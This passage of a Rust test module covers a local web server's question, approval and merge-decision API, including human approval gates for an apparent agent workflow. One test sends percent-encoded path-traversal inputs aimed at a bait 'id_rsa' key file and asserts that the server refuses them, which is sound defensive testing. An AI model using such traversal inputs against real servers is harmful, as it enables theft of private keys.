12672        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12673        // Something outside the panel directory that a traversal would reach if
12674        // one got through, so a passing test is not merely "the file was
12675        // missing anyway".
12676        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12677
12678        // Decoded before this server's handler sees them: axum percent-decodes
12679        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12680        // string with a NUL in it. All three look like ordinary single-segment
12681        // filenames to the router, so the router passes them through and
12682        // `valid_asset_name` is what refuses them - for the literal `..`, and
12683        // for `/`, `\` and NUL not being in the permitted character set.
12684        for encoded in [
12685            "%2e%2e%2fid_rsa",
12686            "..%2fid_rsa",
12687            "..%5cid_rsa",
12688            "%2e%2e%5cid_rsa",
12689            "diff%00.svg",
12690            "..",
12691            ".hidden",
12692            "%2e%2e%2f%2e%2e%2fid_rsa",
12693        ] {
12694            let res = fx
12695                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12696                .await;
12697            assert_eq!(
12698                res.status, 400,
12699                "`{encoded}` has to be refused by name, not looked up: {}",
12700                res.body
12701            );
12702            assert!(res.json()["error"].is_string(), "{}", res.body);
12703        }
12704
12705        // Not decoded, and never this handler's problem: a real slash makes the
12706        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12707        // so axum's router has no route to match and answers before any code
12708        // here runs. Asserted so that a future route with a wildcard segment
12709        // cannot quietly open this door.
12710        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12711            let res = fx
12712                .get(&format!("/api/questions/{id}/asset/{literal}"))
12713                .await;
12714            assert_eq!(
12715                res.status, 404,
12716                "`{literal}` must not match the asset route at all: {}",
12717                res.body
12718            );
12719        }
12720    }
12721
12722    #[tokio::test]
12723    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12724        let fx = Fixture::start().await;
12725        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12726        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12727
12728        // A question nobody wrote a panel for. The client preflights with HEAD
12729        // and cannot see inside a sandboxed frame, so this must be a status and
12730        // not an empty page.
12731        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12732        assert_eq!(none.status, 404, "{}", none.body);
12733        assert!(none.json()["error"].is_string(), "{}", none.body);
12734        assert_eq!(
12735            fx.head(&format!("/api/questions/{plain}/panel"))
12736                .await
12737                .status,
12738            404,
12739            "the preflight is the only way the client can learn this"
12740        );
12741
12742        // A name that is perfectly legal and simply is not there.
12743        let missing = fx
12744            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12745            .await;
12746        assert_eq!(missing.status, 404, "{}", missing.body);
12747        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12748
12749        // A question that does not exist at all, on both routes.
12750        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12751        assert_eq!(
12752            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12753            404
12754        );
12755    }
12756
12757    #[tokio::test]
12758    async fn a_run_with_an_open_question_reads_as_waiting() {
12759        let fx = Fixture::start().await;
12760        let run = "20260902-000000-beef".to_owned();
12761        write_run(&fx.runs(), &run, RunStatus::Implementing);
12762
12763        let before = fx.get("/api/runs").await.json();
12764        assert_eq!(before[0]["waiting"], false, "{before}");
12765
12766        let store = fx.questions();
12767        let mut q = Question::new(
12768            run.clone(),
12769            "implement".to_owned(),
12770            "impl-A".to_owned(),
12771            "Which backend?".to_owned(),
12772            String::new(),
12773            vec!["SQLite".to_owned()],
12774        );
12775        store.put(&mut q).expect("put");
12776
12777        let during = fx.get("/api/runs").await.json();
12778        assert_eq!(during[0]["waiting"], true, "{during}");
12779
12780        // Answered: the run is moving again, and the flag has to follow without
12781        // anything having rewritten run.json.
12782        q.answer(Answer::Choice("SQLite".to_owned()))
12783            .expect("answer");
12784        store.put(&mut q).expect("put");
12785        let after = fx.get("/api/runs").await.json();
12786        assert_eq!(after[0]["waiting"], false, "{after}");
12787    }
12788
12789    #[tokio::test]
12790    async fn an_open_question_is_listed_and_counted_by_health() {
12791        let fx = Fixture::start().await;
12792        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12793
12794        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12795        let listed = fx.get("/api/questions").await.json();
12796        assert_eq!(listed.as_array().expect("array").len(), 1);
12797        assert_eq!(listed[0]["id"], id);
12798        assert_eq!(listed[0]["status"], "open");
12799        assert_eq!(listed[0]["choices"][1], "Redis");
12800        // The count is what makes the phone's indicator honest: it is the one
12801        // number meaning nothing will move until a human acts.
12802        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12803    }
12804
12805    fn obsolete_approval_state() -> RunState {
12806        let mut state = crate::land::tests::repair_state(true, true);
12807        state.pr = Some(crate::run::PrRecord {
12808            url: "https://github.com/example/repo/pull/42".into(),
12809            number: 42,
12810            state: "open".into(),
12811            checks: "green".into(),
12812            round: 1,
12813            rounds: 4,
12814            red_at_merge: Vec::new(),
12815        });
12816        state
12817    }
12818
12819    #[tokio::test]
12820    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12821        for owner in ["missing", "current", "completed", "later"] {
12822            let fx = Fixture {
12823                home: TempDir::new().unwrap(),
12824                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12825            };
12826            let mut state = obsolete_approval_state();
12827            state.status = RunStatus::Landing;
12828            state.parked = true;
12829            state.driver_exited = true;
12830            let mut q = Question::new(
12831                state.id.clone(),
12832                crate::land::APPROVAL_NODE.into(),
12833                "land".into(),
12834                "Old approval".into(),
12835                "Original evidence".into(),
12836                vec!["merge".into(), "hold".into()],
12837            );
12838            state.land_approval = Some(crate::run::LandApproval {
12839                question: q.id.clone(),
12840                head: "head".into(),
12841            });
12842            state.save_under(fx.home.path()).unwrap();
12843            let stale = state.clone();
12844            fx.questions().put(&mut q).unwrap();
12845            let mut task = Task::new(
12846                "Owner".into(),
12847                "Original instruction".into(),
12848                state.repo.clone(),
12849                Source::Human,
12850            );
12851            task.runs.push(state.id.clone());
12852            task.status = if owner == "completed" {
12853                TaskStatus::Done
12854            } else {
12855                TaskStatus::Parked
12856            };
12857            if owner == "later" {
12858                task.runs.push("later-run".into());
12859            }
12860            if owner != "missing" {
12861                fx.queue().put(&mut task).unwrap();
12862            }
12863            let ui = Arc::new(Ui::new(
12864                fx.queue(),
12865                fx.questions(),
12866                fx.talks(),
12867                fx.runs(),
12868                fx.home.path().into(),
12869                state.repo.clone(),
12870            ));
12871            let response = question_answer(
12872                State(ui),
12873                Path(q.id.clone()),
12874                Ok(Json(NewAnswer {
12875                    choice: Some(crate::merge_decision::DISMISS.into()),
12876                    text: None,
12877                    ..Default::default()
12878                })),
12879            )
12880            .await
12881            .unwrap();
12882            assert_eq!(
12883                response.0.question.resolution().as_deref(),
12884                Some(crate::merge_decision::DISMISS)
12885            );
12886            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12887            assert_eq!(disk.status, RunStatus::Superseded);
12888            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12889            assert!(!crate::merge_decision::resumable_hold(&disk));
12890            assert_eq!(
12891                serde_json::to_value(&disk.pr).unwrap(),
12892                serde_json::to_value(&stale.pr).unwrap()
12893            );
12894            assert_eq!(fx.questions().count_open(), 0);
12895            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12896            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12897            if owner == "missing" {
12898                assert!(fx.queue().list().is_empty());
12899            } else {
12900                let after = fx.queue().get(&task.id).unwrap();
12901                assert_eq!(
12902                    after.status,
12903                    if owner == "current" {
12904                        TaskStatus::Done
12905                    } else {
12906                        task.status
12907                    }
12908                );
12909                assert_eq!(after.runs, task.runs);
12910                assert_eq!(after.instruction, task.instruction);
12911                assert_eq!(after.action_applied(&q.id), owner == "current");
12912            }
12913        }
12914    }
12915
12916    #[tokio::test]
12917    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12918        let fx = Fixture::start().await;
12919        let mut state = obsolete_approval_state();
12920        state.status = RunStatus::Landing;
12921        state.parked = true;
12922        state.driver_exited = true;
12923        let mut q = Question::new(
12924            state.id.clone(),
12925            crate::land::APPROVAL_NODE.into(),
12926            "land".into(),
12927            "Superseded PR approval".into(),
12928            "Original review evidence".into(),
12929            vec!["merge".into(), "hold".into()],
12930        );
12931        state.land_approval = Some(crate::run::LandApproval {
12932            question: q.id.clone(),
12933            head: "old-reviewed-head".into(),
12934        });
12935        // The old persisted PR may still say open even when a separate change
12936        // already landed. Dismissal must not use that snapshot to close it.
12937        state.save_under(fx.home.path()).unwrap();
12938        let stale_driver = state.clone();
12939        fx.questions().put(&mut q).unwrap();
12940        let path = fx
12941            .home
12942            .path()
12943            .join("questions")
12944            .join(format!("{}.json", q.id));
12945        let mut legacy = serde_json::to_value(&q).unwrap();
12946        legacy["schema"] = 9.into();
12947        legacy.as_object_mut().unwrap().remove("merge_target");
12948        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12949
12950        // POST without GET tests legacy upgrade and validation at the actual
12951        // entry point, rather than constructing a modern card in the test.
12952        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12953        let answer_path = format!("/api/questions/{}/answer", q.id);
12954        let res = fx.post(&answer_path, Some(&body)).await;
12955        assert_eq!(res.status, 200, "{}", res.body);
12956        let disk = fx.questions().get(&q.id).unwrap();
12957        assert_eq!(
12958            disk.resolution().as_deref(),
12959            Some(crate::merge_decision::DISMISS)
12960        );
12961        assert!(disk.detail.starts_with("Original review evidence"));
12962        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12963        assert_eq!(retired.status, RunStatus::Superseded);
12964        assert_eq!(
12965            serde_json::to_value(&retired.pr).unwrap(),
12966            serde_json::to_value(&state.pr).unwrap()
12967        );
12968        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12969        assert!(!crate::merge_decision::resumable_hold(&retired));
12970        assert!(fx.queue().list().is_empty());
12971        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12972        // A restarted server re-reads the persisted pending list.
12973        let addr = Fixture::serve(
12974            fx.home.path(),
12975            PathBuf::from("/repo/magi"),
12976            launch_idle,
12977            None,
12978        )
12979        .await;
12980        let reconnected = Fixture {
12981            home: fx.home,
12982            addr,
12983        };
12984        let listed = reconnected.get("/api/questions").await.json();
12985        assert!(
12986            listed
12987                .as_array()
12988                .unwrap()
12989                .iter()
12990                .all(|q| q["status"] != "open")
12991        );
12992        assert_eq!(listed[0]["id"], q.id, "history remains available");
12993        assert_eq!(
12994            reconnected.get("/api/health").await.json()["questions_open"],
12995            0
12996        );
12997        assert_eq!(
12998            reconnected
12999                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13000                .await
13001                .status,
13002            409
13003        );
13004        // A late waiter cannot turn the old answer into a new decision.
13005        assert!(
13006            reconnected
13007                .questions()
13008                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13009                .is_err()
13010        );
13011        // The same guard used by claims, repair and publication rejects a
13012        // saved in-memory driver as well as the persisted terminal record.
13013        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13014    }
13015
13016    #[tokio::test]
13017    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13018        let fx = Fixture::start().await;
13019        let mut state = obsolete_approval_state();
13020        state.status = RunStatus::Landing;
13021        state.driver_exited = true;
13022        let mut q = Question::new(
13023            state.id.clone(),
13024            crate::land::APPROVAL_NODE.into(),
13025            "land".into(),
13026            "Obsolete approval".into(),
13027            String::new(),
13028            vec!["merge".into(), "hold".into()],
13029        );
13030        state.land_approval = Some(crate::run::LandApproval {
13031            question: q.id.clone(),
13032            head: "head".into(),
13033        });
13034        state.save_under(fx.home.path()).unwrap();
13035        fx.questions().put(&mut q).unwrap();
13036        let mut task = Task::new(
13037            "Owner".into(),
13038            "Original instruction".into(),
13039            state.repo.clone(),
13040            Source::Human,
13041        );
13042        task.runs = vec![state.id.clone(), "later-run".into()];
13043        fx.queue().put(&mut task).unwrap();
13044        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13045        let claim = fx.queue().claim(&task.id).unwrap();
13046        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13047        let path = format!("/api/questions/{}/answer", q.id);
13048        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13049        assert!(fx.questions().get(&q.id).unwrap().status.open());
13050        drop(claim);
13051        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13052        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13053        assert!(fx.questions().get(&q.id).unwrap().status.open());
13054        drop(publication);
13055        // Unknown liveness and armed auto-merge both fail without settling.
13056        state.driver_exited = false;
13057        state.driver_pid = None;
13058        state.driver_claimed = None; // No durable proof of an unstarted execution.
13059        state.save_under(fx.home.path()).unwrap();
13060        assert_eq!(
13061            state.liveness_under(fx.home.path(), false),
13062            crate::run::Liveness::Unknown
13063        );
13064
13065        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13066        state.driver_exited = true;
13067        state.land_armed_head = Some("head".into());
13068        state.save_under(fx.home.path()).unwrap();
13069        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13070        state.land_armed_head = None;
13071        state.save_under(fx.home.path()).unwrap();
13072        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13073        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13074        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13075    }
13076
13077    #[tokio::test]
13078    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13079        let fx = Fixture::start().await;
13080        let mut state = obsolete_approval_state();
13081        state.status = RunStatus::Landing;
13082        state.driver_exited = true;
13083        let mut q = Question::new(
13084            state.id.clone(),
13085            crate::land::APPROVAL_NODE.into(),
13086            "land".into(),
13087            "Obsolete approval".into(),
13088            String::new(),
13089            vec!["merge".into(), "hold".into()],
13090        );
13091        state.land_approval = Some(crate::run::LandApproval {
13092            question: q.id.clone(),
13093            head: "head".into(),
13094        });
13095        state.save_under(fx.home.path()).unwrap();
13096        fx.questions().put(&mut q).unwrap();
13097        let mut task = Task::new(
13098            "Owner".into(),
13099            "Original instruction".into(),
13100            state.repo.clone(),
13101            Source::Human,
13102        );
13103        task.runs.push(state.id.clone());
13104        task.status = TaskStatus::Parked;
13105        fx.queue().put(&mut task).unwrap();
13106        // Model a crash after the run stop was persisted but before the queue
13107        // and answered question were flushed. Retrying must finish, not resume.
13108        state.merge_decision = Some(crate::merge_decision::Decision {
13109            question: q.id.clone(),
13110            target: crate::merge_decision::Target {
13111                pr: state.pr.as_ref().unwrap().url.clone(),
13112                head: "head".into(),
13113                language: "ja".into(),
13114            },
13115            choice: crate::merge_decision::DISMISS.into(),
13116            closed: false,
13117            replacement_run: None,
13118            replacement_pr: None,
13119        });
13120        state.status = RunStatus::Superseded;
13121        state.save_under(fx.home.path()).unwrap();
13122        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13123        let path = format!("/api/questions/{}/answer", q.id);
13124        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13125        let done = fx.queue().get(&task.id).unwrap();
13126        assert_eq!(done.status, TaskStatus::Done);
13127        assert_eq!(done.runs, task.runs);
13128        assert_eq!(done.instruction, task.instruction);
13129        assert!(done.action_applied(&q.id));
13130        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13131        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13132        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13133    }
13134
13135    #[tokio::test]
13136    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13137        let home = TempDir::new().unwrap();
13138        let ui = Arc::new(Ui::new(
13139            Queue::at(home.path().join("queue")),
13140            Questions::at(home.path().join("questions")),
13141            Talks::at(home.path().join("talks")),
13142            home.path().join("runs"),
13143            home.path().to_owned(),
13144            home.path().to_owned(),
13145        ));
13146        let talks = &ui.talks;
13147        let chat =
13148            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13149        let mut q = Question::new(
13150            "run".into(),
13151            crate::land::APPROVAL_NODE.into(),
13152            "land".into(),
13153            "Merge?".into(),
13154            String::new(),
13155            vec!["merge".into(), "hold".into()],
13156        );
13157        q.routed_task = Some("task".into());
13158        q.routed_chat = Some(chat.id.clone());
13159        q.merge_target = Some(crate::merge_decision::Target {
13160            pr: "https://example.test/pull/1".into(),
13161            head: "head-a".into(),
13162            language: "en".into(),
13163        });
13164        ui.questions.put(&mut q).unwrap();
13165        let send = |body| {
13166            question_answer(
13167                State(ui.clone()),
13168                Path(q.id.clone()),
13169                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13170            )
13171        };
13172        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13173        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13174        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13175        assert!(send(wrong_chat).await.is_err());
13176        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13177        assert!(send(stale).await.is_err());
13178        assert!(ui.questions.get(&q.id).unwrap().status.open());
13179        assert!(send(button.clone()).await.is_ok());
13180        assert_eq!(
13181            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13182            Some("merge")
13183        );
13184        assert!(send(button).await.is_err());
13185    }
13186
13187    #[tokio::test]
13188    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13189        let home = TempDir::new().unwrap();
13190        let ui = Arc::new(Ui::new(
13191            Queue::at(home.path().join("queue")),
13192            Questions::at(home.path().join("questions")),
13193            Talks::at(home.path().join("talks")),
13194            home.path().join("runs"),
13195            home.path().to_owned(),
13196            home.path().to_owned(),
13197        ));
13198        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13199            let mut q = Question::new(
13200                "run".into(),
13201                crate::land::APPROVAL_NODE.into(),
13202                "land".into(),
13203                "Merge?".into(),
13204                String::new(),
13205                vec!["merge".into(), choice.into()],
13206            );
13207            q.routed_task = Some("task".into());
13208            q.merge_target = Some(crate::merge_decision::Target {
13209                pr: "https://example.test/pull/1".into(),
13210                head: "head-a".into(),
13211                language: "en".into(),
13212            });
13213            ui.questions.put(&mut q).unwrap();
13214            let answer = |c: &str| {
13215                question_answer(
13216                    State(ui.clone()),
13217                    Path(q.id.clone()),
13218                    Ok(Json(
13219                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13220                            .unwrap(),
13221                    )),
13222                )
13223            };
13224            let _ = answer(choice).await.unwrap();
13225            assert_eq!(
13226                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13227                Some(choice)
13228            );
13229        }
13230    }
13231
13232    #[tokio::test]
13233    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13234        let home = TempDir::new().unwrap();
13235        let ui = Arc::new(Ui::new(
13236            Queue::at(home.path().join("queue")),
13237            Questions::at(home.path().join("questions")),
13238            Talks::at(home.path().join("talks")),
13239            home.path().join("runs"),
13240            home.path().to_owned(),
13241            home.path().to_owned(),
13242        ));
13243        let mut q = Question::new(
13244            "run".into(),
13245            crate::github_text::ASK_NODE.into(),
13246            "posting-gate".into(),
13247            "Post?".into(),
13248            String::new(),
13249            vec!["use fallback".into()],
13250        );
13251        q.routed_task = Some("task".into());
13252        ui.questions.put(&mut q).unwrap();
13253        let sent = question_answer(
13254            State(ui.clone()),
13255            Path(q.id.clone()),
13256            Ok(Json(
13257                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13258                    .unwrap(),
13259            )),
13260        )
13261        .await;
13262        let _ = sent.unwrap();
13263        assert_eq!(
13264            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13265            Some("use fallback")
13266        );
13267    }
13268
13269    #[tokio::test]
13270    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13271        let fx = Fixture {
13272            home: TempDir::new().unwrap(),
13273            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13274        };
13275        for choice in [
13276            crate::land::HOLD,
13277            crate::land::REPAIR,
13278            crate::land::APPROVE,
13279            crate::merge_decision::WITHDRAW,
13280            "reimplement:beta",
13281        ] {
13282            let mut q = Question::new(
13283                "old-run".into(),
13284                crate::land::APPROVAL_NODE.into(),
13285                "land".into(),
13286                "Decision".into(),
13287                "Review findings".into(),
13288                vec![
13289                    "merge".into(),
13290                    "hold".into(),
13291                    crate::land::REPAIR.into(),
13292                    crate::merge_decision::WITHDRAW.into(),
13293                    "reimplement:beta".into(),
13294                ],
13295            );
13296            q.merge_target = Some(crate::merge_decision::Target {
13297                pr: "https://github.com/example/repo/pull/42".into(),
13298                head: "exact-reviewed-head".into(),
13299                language: "ja".into(),
13300            });
13301            q.consult = Some(ask::ChatConsult {
13302                talk: "another-conversation".into(),
13303                at: jiff::Timestamp::now(),
13304            });
13305            fx.questions().put(&mut q).unwrap();
13306            let ui = Arc::new(Ui::new(
13307                fx.queue(),
13308                fx.questions(),
13309                fx.talks(),
13310                fx.runs(),
13311                fx.home.path().into(),
13312                std::path::PathBuf::from("."),
13313            ));
13314            let response = question_answer(
13315                State(ui.clone()),
13316                Path(q.id.clone()),
13317                Ok(Json(NewAnswer {
13318                    choice: Some(choice.into()),
13319                    text: None,
13320                    ..Default::default()
13321                })),
13322            )
13323            .await
13324            .unwrap();
13325            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13326            let disk = fx.questions().get(&q.id).unwrap();
13327            assert_eq!(disk.merge_target, q.merge_target);
13328            assert_eq!(disk.consult, q.consult);
13329            assert_eq!(disk.resolution().as_deref(), Some(choice));
13330            assert!(
13331                question_answer(
13332                    State(ui),
13333                    Path(q.id.clone()),
13334                    Ok(Json(NewAnswer {
13335                        choice: Some("merge".into()),
13336                        text: None,
13337                        ..Default::default()
13338                    }))
13339                )
13340                .await
13341                .is_err(),
13342                "an already settled decision cannot turn into merge approval"
13343            );
13344        }
13345    }
13346
13347    #[tokio::test]
13348    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13349        let fx = Fixture {
13350            home: TempDir::new().unwrap(),
13351            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13352        };
13353        let mut state = crate::land::tests::repair_state(true, true);
13354        state.status = RunStatus::Landing;
13355        state.parked = true;
13356        state.driver_exited = true;
13357        let mut task = Task::new(
13358            "Existing PR owner".into(),
13359            state.instruction.clone(),
13360            state.repo.clone(),
13361            Source::Human,
13362        );
13363        task.runs.push(state.id.clone());
13364        task.status = TaskStatus::Parked;
13365        fx.queue().put(&mut task).unwrap();
13366        let mut q = Question::new(
13367            state.id.clone(),
13368            crate::land::APPROVAL_NODE.into(),
13369            "land".into(),
13370            "Contested merge".into(),
13371            "Original evidence".into(),
13372            vec!["merge".into(), "hold".into()],
13373        );
13374        state.land_approval = Some(crate::run::LandApproval {
13375            question: q.id.clone(),
13376            head: "reviewed-head".into(),
13377        });
13378        state.save_under(fx.home.path()).unwrap();
13379        fx.questions().put(&mut q).unwrap();
13380        // A later repair answer on this old card supersedes this manual hold.
13381        task.hold_manual(Some("Pause this PR".into()));
13382        fx.queue().put(&mut task).unwrap();
13383        // POST directly, without a preceding GET: validation must see the
13384        // same durable upgrade that the card, CLI and chat see.
13385        let ui = Arc::new(Ui::new(
13386            fx.queue(),
13387            fx.questions(),
13388            fx.talks(),
13389            fx.runs(),
13390            fx.home.path().to_path_buf(),
13391            state.repo.clone(),
13392        ));
13393        let response = question_answer(
13394            State(ui),
13395            Path(q.id.clone()),
13396            Ok(Json(NewAnswer {
13397                choice: Some(crate::land::REPAIR.into()),
13398                text: None,
13399                ..Default::default()
13400            })),
13401        )
13402        .await
13403        .unwrap();
13404        assert_eq!(response.0.question.id, q.id);
13405        let upgraded = fx.questions().get(&q.id).unwrap();
13406        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13407        assert!(upgraded.detail.starts_with("Original evidence"));
13408        let claim = fx.queue().claim(&task.id).unwrap();
13409        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13410        assert!(
13411            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13412            "an existing driver keeps its claim"
13413        );
13414        drop(claim);
13415        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13416        let resumed = fx.queue().get(&task.id).unwrap();
13417        assert_eq!(
13418            resumed
13419                .resume_override
13420                .as_ref()
13421                .unwrap()
13422                .pinned_run
13423                .as_deref(),
13424            Some(state.id.as_str())
13425        );
13426        assert!(resumed.status.runnable());
13427        assert_eq!(resumed.instruction, task.instruction);
13428        assert_eq!(resumed.runs, task.runs);
13429        assert!(resumed.action_applied(&q.id));
13430        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13431        assert_eq!(fx.queue().list().len(), 1);
13432        assert_eq!(
13433            fx.queue().get(&task.id).unwrap().resume_override,
13434            resumed.resume_override
13435        );
13436        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13437        assert!(
13438            disk.merge_repairs.is_empty(),
13439            "only the claimed run driver may execute repair"
13440        );
13441        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13442    }
13443
13444    #[tokio::test]
13445    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13446        let fx = Fixture::start().await;
13447        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13448        let path = format!("/api/questions/{id}/answer");
13449
13450        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13451        assert_eq!(res.status, 200, "{}", res.body);
13452        let body = res.json();
13453        assert_eq!(body["status"], "answered");
13454        assert_eq!(body["answer"]["choice"], "Redis");
13455
13456        // Answered from the terminal in between the list and the tap: the UI
13457        // must be able to tell this from a bad request, so it can show the
13458        // recorded answer instead of an error.
13459        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13460        assert_eq!(again.status, 409, "{}", again.body);
13461        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13462    }
13463
13464    #[tokio::test]
13465    async fn fresh_api_answers_survive_task_inquiry_migration() {
13466        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13467        for migrate_first in [false, true] {
13468            let fx = Fixture::start().await;
13469            let mut task = Task::new(
13470                "work".into(),
13471                "work".into(),
13472                PathBuf::from("/repo/magi"),
13473                Source::Human,
13474            );
13475            task.runs.push("run-a".into());
13476            fx.queue().put(&mut task).unwrap();
13477            let mut q = Question::new(
13478                "run-a".into(),
13479                "implement".into(),
13480                "impl-A".into(),
13481                "Keep held?".into(),
13482                String::new(),
13483                vec!["hold".into()],
13484            );
13485            q.actions.insert("hold".into(), ChoiceAction::Hold);
13486            fx.questions().put(&mut q).unwrap();
13487            if migrate_first {
13488                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13489            }
13490            let response = fx
13491                .post(
13492                    &format!("/api/questions/{}/answer", q.id),
13493                    Some(r#"{"choice":"hold"}"#),
13494                )
13495                .await;
13496            assert_eq!(response.status, 200, "{}", response.body);
13497            for _ in 0..2 {
13498                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13499                let source = fx.questions().get(&q.id).unwrap();
13500                assert_eq!(source.resolution().as_deref(), Some("hold"));
13501                let decision = Outbox::at(fx.home.path())
13502                    .get(&q.id)
13503                    .unwrap()
13504                    .decision
13505                    .unwrap();
13506                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13507                assert_eq!(decision.source_answer_at, source.answered_at);
13508                assert_eq!(decision.status, Status::Queued);
13509            }
13510            assert_eq!(
13511                fx.post(
13512                    &format!("/api/questions/{}/answer", q.id),
13513                    Some(r#"{"choice":"hold"}"#)
13514                )
13515                .await
13516                .status,
13517                409
13518            );
13519        }
13520    }
13521
13522    #[tokio::test]
13523    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13524        let home = tempfile::tempdir().unwrap();
13525        let ui = delta_test_ui(home.path());
13526        let mut q = Question::new(
13527            "task".into(),
13528            crate::land::APPROVAL_NODE.into(),
13529            "land".into(),
13530            "Explain?".into(),
13531            String::new(),
13532            vec!["hold".into()],
13533        );
13534        q.deputy = Some(ask::Deputy::new("context".into()));
13535        ui.questions.put(&mut q).unwrap();
13536        let mut cfg = stub_config();
13537        cfg.daemon.max_deputies = 0;
13538        let mut status = crate::daemon::Status::new();
13539        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13540        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13541        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13542        let error = question_say(
13543            State(ui.clone()),
13544            Path(q.id.clone()),
13545            Ok(Json(NewSay {
13546                body: "Explain the findings".into(),
13547            })),
13548        )
13549        .await
13550        .unwrap_err();
13551        assert_eq!(
13552            error.text_reason,
13553            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13554        );
13555        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13556
13557        let mut text = Question::new(
13558            "task".into(),
13559            "ask".into(),
13560            "operator".into(),
13561            "Which name?".into(),
13562            String::new(),
13563            vec![],
13564        );
13565        ui.questions.put(&mut text).unwrap();
13566        let Json(view) = question_answer(
